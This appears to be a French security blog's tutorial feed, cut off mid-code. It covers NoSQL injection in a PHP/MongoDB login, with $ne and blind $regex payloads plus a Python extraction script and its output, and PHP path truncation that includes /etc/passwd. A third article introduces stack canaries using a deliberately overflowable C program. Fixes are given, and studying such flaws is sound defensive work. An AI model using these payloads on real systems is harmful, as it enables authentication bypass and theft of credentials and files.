<li>Oracle NoSQL</li> </ul> <p>Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant …</p><p>Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.</p> <p>On peut en citer plusieurs telles que:</p> <ul> <li>DynamoDB</li> <li>MongoDB</li> <li>Oracle NoSQL</li> </ul> <p>Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injections.</p> <p>Pour ceux souhaitant tester chez eux, je leur conseille ce <a href="http://www.pronique.com/blog/installing-mongodb-on-windows-the-wamp-way">tutoriel</a> pour installer MongoDB sur Wamp, ainsi que <a href="http://www.9lessons.info/2013/01/mongodb-php-tutorial.html">celui ci</a> pour l'utilisation avec PHP.</p> <p>Entrons maintenant dans le vif du sujet.</p> <p>Tout le monde connait les <a href="https://www.dailysecurity.fr/images/sql_injection_comic_small.png">SQL injections</a>.</p> <p>Ces dernières reposent sur la création une requête SQL basée sur une string:</p> <div class="highlight"><pre><span></span><code><span class="nv">$query</span><span class="o">=</span><span class="s2">&quot;SELECT * FROM users where login=&#39;</span><span class="si">$_GET[login]</span><span class="s2">&#39;&quot;</span><span class="p">;</span> </code></pre></div> <p>Avec $_GET[login] égale à ' OR '1'='1 cela donne:</p> <div class="highlight"><pre><span></span><code><span class="nv">$query</span><span class="o">=</span><span class="s2">&quot;SELECT * FROM users where login=&#39; &#39; OR &#39;1&#39;=&#39;1&#39;&quot;</span><span class="p">;</span> </code></pre></div> <p>Rien de très nouveaux.</p> <p>Pour les NOSQL injections, la porte d'entrée passe par la création d'un tableau pour faire la requête, pour vous expliquer voici un script basique d'authentification avec MongoDB:</p> <div class="highlight"><pre><span></span><code><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$usr_name</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">]);</span> <span class="nv">$usr_password</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">]);</span> <span class="nv">$con</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MongoClient</span><span class="p">();</span> <span class="c1">// Connexion a MongoDB</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$con</span><span class="p">)</span> <span class="c1">// Si la connexion a fonctionné</span> <span class="p">{</span> <span class="nv">$db</span> <span class="o">=</span> <span class="nv">$con</span><span class="o">-&gt;</span><span class="na">test</span><span class="p">;</span> <span class="nv">$people</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">people</span><span class="p">;</span> <span class="nv">$qry</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s2">&quot;user&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_name</span><span class="p">,</span> <span class="s2">&quot;password&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_password</span> <span class="p">);</span> <span class="c1">// Construction de la requête NOSQL</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$people</span><span class="o">-&gt;</span><span class="na">findOne</span><span class="p">(</span><span class="nv">$qry</span><span class="p">);</span> <span class="c1">// Recherche de l&#39;utilisateur</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="c1">// Si les identifiants correspondes on connecte l&#39;utilisateur</span> <span class="p">{</span> <span class="k">echo</span><span class="p">(</span><span class="s2">&quot;Bienvenue Administrateur&quot;</span><span class="p">);</span> <span class="c1">// Zone Admin</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s2">&quot;Mongo DB not installed&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">echo</span><span class="s1">&#39;</span> <span class="s1"> &lt;form action=&quot;&quot; method=&quot;POST&quot;&gt;</span> <span class="s1"> Login:</span> <span class="s1"> &lt;input type=&quot;text&quot; id=&quot;usr_name&quot; name=&quot;usr_name&quot; /&gt;</span> <span class="s1"> Password:</span> <span class="s1"> &lt;input type=&quot;password&quot; id=&quot;usr_password&quot; name=&quot;usr_password&quot; /&gt;</span> <span class="s1"> &lt;input name=&quot;submitForm&quot; id=&quot;submitForm&quot; type=&quot;submit&quot; value=&quot;Login&quot; /&gt;</span> <span class="s1"> &lt;/form&gt;</span> <span class="s1">&#39;</span><span class="p">;</span> </code></pre></div> <p>On ajoute un utilisateur dans la base de données:</p> <div class="highlight"><pre><span></span><code>$ mongo MongoDB shell version: <span class="m">2</span>.6.7 connecting to: <span class="nb">test</span> Server has startup warnings: <span class="m">2015</span>-02-22T00:57:09.519+0100 ** WARNING: --rest is specified without --httpinter face, <span class="m">2015</span>-02-22T00:57:09.521+0100 ** enabling http interface &gt; db.people.insert<span class="o">({</span>user:<span class="s2">&quot;Geluchat&quot;</span>,password:<span class="s2">&quot;mdp&quot;</span><span class="o">)</span><span class="p">;</span> WriteResult<span class="o">({</span> <span class="s2">&quot;nInserted&quot;</span> : <span class="m">1</span> <span class="o">})</span> </code></pre></div> <p>Tout est prêt, nous allons pouvoir procéder à notre première injection NOSQL.</p> <p>On passe usr_name[$ne]=h4cker&amp;usr_password[$ne]=h4xor grace à HackBar:</p> <p><img alt="Hackbar nosql" src="https://www.dailysecurity.fr/images/4QcrMsM.png"></p> <p>Nous voici désormais Administrateur.</p> <p>Maintenant, vous vous demandez: "Comment ça marche?".</p> <p>Selon la documentation <a href="http://docs.mongodb.org/manual/reference/operator/query/">MongoDB sur les opérateurs de requête</a> $ne correspond à "Différent de".</p> <p>Lorsque PHP crée la requête il utilise la fonction array(), qui nous permet de faire des array à partir d'array déjà existants.</p> <div class="highlight"><pre><span></span><code><span class="nv">$qry</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s2">&quot;user&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_name</span><span class="p">,</span> <span class="s2">&quot;password&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_password</span> <span class="p">);</span> <span class="c1">// Construction de la requête NOSQL</span> </code></pre></div> <p>Pour mieux comprendre, on fait un var_dump($qry), on obtient:</p> <div class="highlight"><pre><span></span><code><span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span> <span class="s1">&#39;user&#39;</span> <span class="o">=&gt;</span> <span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="s1">&#39;$ne&#39;</span> <span class="o">=&gt;</span> <span class="nx">string</span> <span class="s1">&#39;h4cker&#39;</span> <span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">6</span><span class="p">)</span> <span class="s1">&#39;password&#39;</span> <span class="o">=&gt;</span> <span class="k">array</span> <span class="p">(</span><span class="nx">size</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="s1">&#39;$ne&#39;</span> <span class="o">=&gt;</span> <span class="nx">string</span> <span class="s1">&#39;h4xor&#39;</span> <span class="p">(</span><span class="nx">length</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span> </code></pre></div> <p>Ce qui traduit en "Pseudo SQL" donne: "WHERE user!=h4cker and password!=h4xor".</p> <p>On a donc vu un exemple d'exploitation classique.</p> <p>Mais nous, ce qu'on veut, c'est récupérer le mot de passe administrateur.</p> <p>Malheureusement, nous ne disposons d'aucun affichage, il va donc falloir trouver un autre moyen d'accéder à ce mot de passe.</p> <p>Toujours dans la documentation <a href="http://docs.mongodb.org/manual/reference/operator/query/">MongoDB</a> on trouve $regex.</p> <p>Les fameuses regex vont donc pouvoir nous sauver, l'exploitation se fera en blind.</p> <p>Pour ceux qui ne comprennent rien au regex, ne vous inquiétez pas, je vais vous expliquer la construction de la requête:</p> <ul> <li>. : Représente n’importe quelle caractère</li> <li>caractère {un nombre} (ex: .{5}): Caractère fois le nombre</li> </ul> <p>Donc pour trouver la taille on cherche avec:</p> <div class="highlight"><pre><span></span><code><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=.</span><span class="p">{</span><span class="mi">1</span><span class="p">}</span> </code></pre></div> <p>On incrémente de 1 à chaque fois, jusqu'à ce que "Bienvenue Administrateur" disparaisse.</p> <p>Et on trouve:</p> <div class="highlight"><pre><span></span><code><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=.</span><span class="p">{</span><span class="mi">3</span><span class="p">}</span> </code></pre></div> <p>Le mot de passe (mdp) fait bien 3 caractères.</p> <p>On procède de la même façon pour les caractères:</p> <div class="highlight"><pre><span></span><code><span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">m</span><span class="o">.</span><span class="p">{</span><span class="mi">2</span><span class="p">}</span> <span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">md</span><span class="o">.</span><span class="p">{</span><span class="mi">1</span><span class="p">}</span> <span class="nx">usr_name</span><span class="p">[</span><span class="nv">$ne</span><span class="p">]</span><span class="o">=</span><span class="nx">h4cker</span><span class="o">&amp;</span><span class="nx">usr_password</span><span class="p">[</span><span class="nv">$regex</span><span class="p">]</span><span class="o">=</span><span class="nx">mdp</span> </code></pre></div> <p>J'ai codé un petit script en python qui fait le travail à notre place et voilà le travail:</p> <div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python2</span> <span class="c1"># -*- coding: utf8 -*-</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="n">page</span> <span class="o">=</span> <span class="s2">&quot;http://localhost/NOSQL/&quot;</span> <span class="n">taille</span><span class="o">=</span><span class="mi">0</span> <span class="k">while</span> <span class="mi">1</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="s2">&quot;.{&quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;}&quot;</span><span class="p">;</span> <span class="n">req</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;usr_name[$ne]&#39;</span><span class="p">:</span><span class="s1">&#39;hacker&#39;</span><span class="p">,</span> <span class="s1">&#39;usr_password[$regex]&#39;</span><span class="p">:</span><span class="n">forge</span><span class="p">}</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">page</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">req</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="nb">print</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Bienvenue&#39;</span><span class="p">)</span><span class="o">==-</span><span class="mi">1</span> <span class="p">:</span> <span class="k">break</span> <span class="n">taille</span><span class="o">+=</span><span class="mi">1</span> <span class="n">taille</span><span class="o">-=</span><span class="mi">1</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Le password fait &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot; caracteres&quot;</span><span class="p">)</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">&quot;&quot;</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">=</span><span class="mi">0</span> <span class="k">while</span> <span class="n">length</span><span class="o">!=</span><span class="n">taille</span><span class="p">:</span> <span class="n">forge</span><span class="o">=</span><span class="n">passwd</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span><span class="o">+</span><span class="s1">&#39;.{&#39;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">taille</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="s1">&#39;}&#39;</span><span class="p">;</span> <span class="n">req</span><span class="o">=</span><span class="p">{</span><span class="s1">&#39;usr_name[$ne]&#39;</span><span class="p">:</span><span class="s1">&#39;hacker&#39;</span><span class="p">,</span> <span class="s1">&#39;usr_password[$regex]&#39;</span><span class="p">:</span><span class="n">forge</span><span class="p">}</span> <span class="n">resultat</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">page</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">req</span><span class="p">)</span><span class="o">.</span><span class="n">content</span> <span class="nb">print</span><span class="p">(</span><span class="n">req</span><span class="p">)</span> <span class="k">if</span> <span class="n">resultat</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Bienvenue&#39;</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span> <span class="p">:</span> <span class="n">passwd</span><span class="o">+=</span><span class="nb">str</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">char</span><span class="p">))</span> <span class="n">char</span><span class="o">=</span><span class="mi">48</span> <span class="n">length</span><span class="o">+=</span><span class="mi">1</span> <span class="nb">print</span><span class="p">(</span><span class="n">passwd</span><span class="p">)</span> <span class="k">if</span> <span class="n">char</span><span class="o">==</span><span class="mi">90</span><span class="p">:</span> <span class="n">char</span><span class="o">=</span><span class="mi">96</span> <span class="k">if</span> <span class="n">char</span><span class="o">==</span><span class="mi">57</span><span class="p">:</span> <span class="n">char</span><span class="o">=</span><span class="mi">64</span> <span class="n">char</span><span class="o">+=</span><span class="mi">1</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] Le password est: &quot;</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">passwd</span><span class="p">))</span> </code></pre></div> <div class="highlight"><pre><span></span><code><span class="gp">$ </span>python NOSQL.py <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{3}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;.{4}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">[+] Le password fait 3 caracteres</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;0.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;L.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;M.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;N.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;O.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;k.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;l.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m.{2}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">m</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m1.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;m2.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md.{1}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">md</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md1.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;md2.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">...</span> <span class="go">{&#39;usr_password[$regex]&#39;: &#39;mdp.{0}&#39;, &#39;usr_name[$ne]&#39;: &#39;hacker&#39;}</span> <span class="go">mdp</span> <span class="go">[+] Le password est: mdp</span> </code></pre></div> <p>Pour patcher cette faille, une solution : la vérification grâce à la fonction is_array():</p> <div class="highlight"><pre><span></span><code><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">]))</span> </code></pre></div> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Les PATH truncations: The old one2015-02-06T11:35:00+01:002015-02-06T11:35:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-06:/les-path-truncations<p>Après les <a href="https://www.dailysecurity.fr/les-sql-truncations/">SQL truncations</a>, passons à l'étude de son homologue PHP, les PATH truncations.</p> <p>Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois …</p><p>Après les <a href="https://www.dailysecurity.fr/les-sql-truncations/">SQL truncations</a>, passons à l'étude de son homologue PHP, les PATH truncations.</p> <p>Pour comprendre le problème, revenons à la base de la construction du moteur PHP. PHP est basé sur le moteur Zend engine écrit en C, il dispose donc des contraintes mémoires et de la gestion parfois chaotique de la mémoire liée à ce langage.</p> <p>Il parait donc tout à fait naturel que pour palier à ce problème les créateurs de ce langage aient dû s'orienter vers une gestion simplifiée de la mémoire paradoxalement au PHP qui est lui-même un langage très faiblement typé</p> <p>Passons donc au vif du sujet, les strings PHP, jusqu’à la version 5.3, peuvent supporter une chaîne de longueur maximum égal à 2^12 soit <a href="https://eklitzke.org/path-max-is-tricky">4096</a> caractères.</p> <p>Que se passe-t-il si l'on dépasse cette limite?</p> <p>Eh bien, PHP tronque tout simplement la chaîne. Comme à l’accoutumé, voici un exemple pour illustrer le principe et mettre en avant le problème:</p> <div class="highlight"><pre><span></span><code><span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">&#39;/\x00/im&#39;</span><span class="p">,</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="k">include</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;path&#39;</span><span class="p">]</span><span class="o">.</span><span class="s2">&quot;.php&quot;</span><span class="p">);</span> <span class="p">}</span> </code></pre></div> <p>Ce code comporte une LFI, on peut inclure n’importe quel fichier PHP ou lire le code via les wrappers php.</p> <p>De plus, le null byte étant filtré, on ne peut pas inclure un fichier qui ne comporte pas l'extension .php</p> <p>Comment faire?</p> <p>C'est là qu'intervient la PATH truncation, si l'on envoie une chaîne supérieure à 4096 le .php ne sera pas ajouter à la fin.</p> <p>A ce moment vous êtes sûrement en train de vous poser des questions sur l’intérêt d'une telle faille. En effet, comment une chaîne de plus de 4096 pourrait contenir notre chemin qui fait entre 50 et 100 caractères.</p> <p>En fait, la solution est très simple, il suffit d'analyser comment PHP fonctionne.</p> <p>PHP cherche à interpréter une chaîne basique:</p> <div class="highlight"><pre><span></span><code><span class="k">include</span><span class="p">(</span><span class="s2">&quot;admin.php&quot;</span><span class="p">);</span> </code></pre></div> <p>Il va tout d'abord chercher le fichier admin.php puis l'inclure, cette procédure, rappelons-le, utilise des fonctions du langage C.</p> <p>Le C possède des conditions d'accès au fichier et de recherche de chemin très poussé et adaptative, il suffit donc de trouver un bypass fonctionnant en C.</p> <p>Après quelques recherches on résout le problème:</p> <div class="highlight"><pre><span></span><code>/etc/passwd/./././././././././././././[4096 plus tard]/. </code></pre></div> <p>Qui est traduit par:</p> <div class="highlight"><pre><span></span><code><span class="k">include</span><span class="p">(</span><span class="s2">&quot;/etc/passwd&quot;</span><span class="p">);</span> </code></pre></div> <p>Note: </p> <p><em>De plus, veillez bien à regarder la taille du chemin, elle doit rester impaire, admin.php fait 9 caractères, mais admin.php3 en fait 10.</em> <em>Cela implique que vous devez équilibrer le nombre de caractères du chemin sinon la troncation ne se fera pas correctement (par exemple: x/../admin.php3)</em> <em>Sous Windows on peut exploiter via les points (admin.php.............[4096]............)</em></p> <p>On a donc complètement bypass la pseudo vérification d'extension mise en place par le programmeur.</p> <p>Il faut bien sûr retenir de cette faille qu'elle n'est disponible que sur les versions inférieurs à 5.3 .</p> <p>Pour patcher cette faille il suffit donc tout simplement de mettre à jour son PHP par une version supérieure à la 5.3 .</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>La Stack Smashing Protection: Un canary infaillible?2015-02-04T13:57:00+01:002015-02-04T13:57:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-04:/la-stack-smashing-protection<p>Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.</p> <p>Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE …</p><p>Depuis l’avènement des Buffer Overflow dans le début des années 90, les experts en sécurité informatique ont cherché de nouvelles protections contre ce type d'attaques.</p> <p>Ainsi sont nées bons nombres de protections connues telles que le fameux ASLR(Address Space Layout Randomization) , le NX (Non-executable) ou encore le SOURCE FORTIFY (remplacement de fonctions dangereuses par sa version sécurisée: strcpy=&gt;strncpy).</p> <p>Mais celle qui a fait le plus parler d'elle dans le monde des failles applicatives reste la Stack Smashing Protection aussi appelée "Canary" ou Cookie.</p> <p>Voici un petit exemple de ce à quoi ressemble la Stack dans une fonction sur un programme avec la SSP activée.</p> <div class="highlight"><pre><span></span><code><span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| Save EIP |</span> <span class="c">| |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| Save EBP |</span> <span class="c">| |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| Padding |</span> <span class="c">| |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| Canary |</span> <span class="c">| |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| |</span> <span class="c">| char badbuffer</span><span class="k">[</span><span class="c">64</span><span class="k">]</span><span class="c"> |</span> <span class="c">| |</span> <span class="nb">+-------------------------+</span><span class="c"></span> </code></pre></div> <p>On peut voir qu'un Canary été inséré entre notre buffer et le couple EBP (Frame Pointer) et EIP (Return Adress).</p> <p>Pour mieux comprendre prenons l'exemple suivant:</p> <div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;unistd.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;memory.h&gt;</span><span class="cp"></span> <span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">goodbuffer</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">size</span><span class="p">)</span><span class="w"></span> <span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">badbuffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span><span class="w"></span> <span class="w"> </span><span class="n">memcpy</span><span class="p">(</span><span class="n">badbuffer</span><span class="p">,</span><span class="n">goodbuffer</span><span class="p">,</span><span class="n">size</span><span class="p">);</span><span class="w"></span> <span class="p">}</span><span class="w"></span> <span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span><span class="w"></span> <span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">pid</span><span class="p">,</span><span class="n">real_size</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">goodbuffer</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span><span class="w"></span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">size</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span><span class="w"></span> <span class="w"> </span><span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span><span class="w"> </span><span class="c1">// On enleve le buffering de stdout</span> <span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"></span> <span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fork</span><span class="p">();</span><span class="w"></span> <span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">)</span><span class="w"></span> <span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Size: &quot;</span><span class="p">);</span><span class="w"> </span><span class="c1">// On demande la taille de la chaine à recevoir</span> <span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">size</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span><span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="n">stdin</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">real_size</span><span class="o">=</span><span class="n">atoi</span><span class="p">(</span><span class="n">size</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Input: &quot;</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">goodbuffer</span><span class="p">,</span><span class="w"> </span><span class="n">real_size</span><span class="p">,</span><span class="w"> </span><span class="n">stdin</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">goodbuffer</span><span class="p">[</span><span class="n">real_size</span><span class="mi">-1</span><span class="p">]</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">vuln</span><span class="p">(</span><span class="o">&amp;</span><span class="n">goodbuffer</span><span class="p">,</span><span class="w"> </span><span class="n">real_size</span><span class="mi">-1</span><span class="p">);</span><span class="w"> </span><span class="c1">// Fonction vulnérable</span> <span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Done</span><span 